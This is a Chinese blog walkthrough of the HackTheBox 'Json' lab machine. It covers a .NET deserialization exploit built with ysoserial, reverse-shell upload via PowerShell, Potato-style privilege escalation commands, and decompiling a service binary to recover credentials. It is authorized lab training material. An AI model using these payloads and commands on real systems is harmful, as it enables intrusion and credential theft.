No.88-HackTheBox-windows-Json-Walkthrough渗透学习

**

HackTheBox-windows-Json-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/210
靶机难度:中级(4.3/10)
靶机发布日期:2020年2月7日
靶机描述:
JSON is a medium difficulty Windows machine running an IIS server with an ASP.NET application.
The application is found to be vulnerable to .NET deserialization, which is exploited using
ysoserial.net. A custom .NET program is found to be installed, which on reverse engineering
reveals encrypted credentials for an administrator. These credentials can be decrypted and used
to gain access to the FTP folder

作者:大余
时间:2020-04-29
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.158…
在这里插入图片描述

Nmap扫描发现运行了FTP和IIS服务器…操作系统版本为Windows 2008 R2或2012,WinRM也已在端口上打开
5985,可能有助于以后的横向移动渗透…
在这里插入图片描述
访问80是个登录页面…
在这里插入图片描述
使用admin默认口令成功进来了…
在这里插入图片描述
进来后点击模块有的是返回了登录界面,有的是404报错…我进行了bursuit分析…
可以看到请求包含一个带有base64编码值的Bearer标头…
在这里插入图片描述
对base64进行解码…这是administrator用户的登录信息…
在这里插入图片描述
在这里插入图片描述
经过发现,admin的md5sum值就此哈希值…修改Bearer为dayuxiyou后,发现好像存在反序列化漏洞??继续测试
在这里插入图片描述
在这里插入图片描述

二、提权

服务器返回500内部服务器错误,指出JSON.Net对象反序列化漏洞…该API是用ASP.NET编写的,并且
服务器反序列化接收到的JSON对象…google搜索json.net相关的反序列化漏洞看看…
利用ysoserial它可以生成.net反序列化有效负载…
在这里插入图片描述
在这里插入图片描述
下载即可…放到本地使用windows的powershell进行编码即可…
在这里插入图片描述
命令:.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "ping -n 2 10.10.14.51"
利用ysoserial对简单ping进行了.net的输出…利用试试
在这里插入图片描述
虽然注入后回的是500错误,但是不影响反序列化的利用…本地监听产生了数据包…
这里就很多方法可以反弹shell了,开始把…
在这里插入图片描述
命令:.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c ""
在这里插入图片描述
在这里插入图片描述
可以看到通过powershell成功上传了nishang的tcp.ps1,获得了反弹shell…
或者使用smb共享也可以…
在这里插入图片描述
在这里插入图片描述
获得了user信息…

二、提权root

方法1:

在这里插入图片描述
SeImpersonatePrivilege:
可以利用NTLM中继到本地协商获得系统用户的令牌,可以使用开源工具Lovely-Potato…通过WinAPI CreateProcessWithToken创建新进程,引入系统用户的令牌具有SeImpersonatePrivilege权限,最后该令牌具有system权限…
在这里插入图片描述
在这里插入图片描述
CLSID:https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2012_Datacenter
在这里插入图片描述
在这里插入图片描述
命令:dayu.exe -t * -p dayu.bat -l 1337 -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
这是个简单的方法,对于前面的靶机我写过一样的方式方法…这就不多解释了…直接GO
利用nc和CLSID进行成功提权…获得了root信息…

方法2:

和NO.80中方法类似,利用Chisel进行本地交互…
在这里插入图片描述
检查Json上的侦听端口,可看到有端口在localhost上运行着…继续查找看看什么程序…
在这里插入图片描述
使用tasklist pid 660来查看,这是FileZilla Server.exe…管理界面…
在这里插入图片描述
通过查看该配置文件存在passwd哈希值…这里可以突破到管理员权限的界面…
在这里插入图片描述使用Chisel在localhost上运行的服务交互,我已经坐在Windows exe的副本中\share,因此可以将其复制到Json,然后进行连接
https://filezilla-project.org/download.php?type=server
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里用windows10的openvpn一直无法连接上HTB…就没进行下去了…
到了这一步很简单了,直接点击connect应该直接通过隧道登录进去…根据前面.XML的提示,会直接可以登录FTP服务器…然后查看到root信息…

方法3:

在这里插入图片描述
在userpool的帐户枚举期间,我注意到Program Files处有一个可疑的服务FilesToSync,以及一对加密的凭证…
该服务似乎通过FTP在两个位置之间同步文件…
这里的user和passwd的哈希值无法破解…在这里插入图片描述
copy了SyncLocation.exe到windows机器上以进行进一步分析…
在这里插入图片描述
事实证明,这SyncLocation.exe是一个.Net程序集可执行文件,使用dnSpy轻松将其反编译为其源代码…
在这里插入图片描述
可以忽略该提示…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
经过修改源代码…初步测试了,可通过运行输出需要的文本信息…
在这里插入图片描述
通过void源码修改方框输出值,显示user和passwd…
在这里插入图片描述
这里下面报错了两个,修改下空格即可…
在这里插入图片描述
或者结合SyncLocation.exe.config文件的内容以及哈希值…通过dotnetfiddle运行即可获得用户密码…
获得用户密码:superadmin:funnyhtb
在这里插入图片描述
成功通过获得的账号密码登录FTP服务器,获取root信息…

SQL注入-base64的各项转换-利用ysoserial工具注入shell-利用SMB共享上传和下载提权文件-隧道的搭建-dnSpy源码的编写-FileZilla Server服务的使用等等…
又学到了挺多技术和知识,虽然不是很深入的了解某一款工具,但是基础的使用已经学会了…加油!!

由于我们已经成功得到root权限查看user.txt和root.txt,因此完成这台中等的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

原创文章 102 获赞 13 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/105795451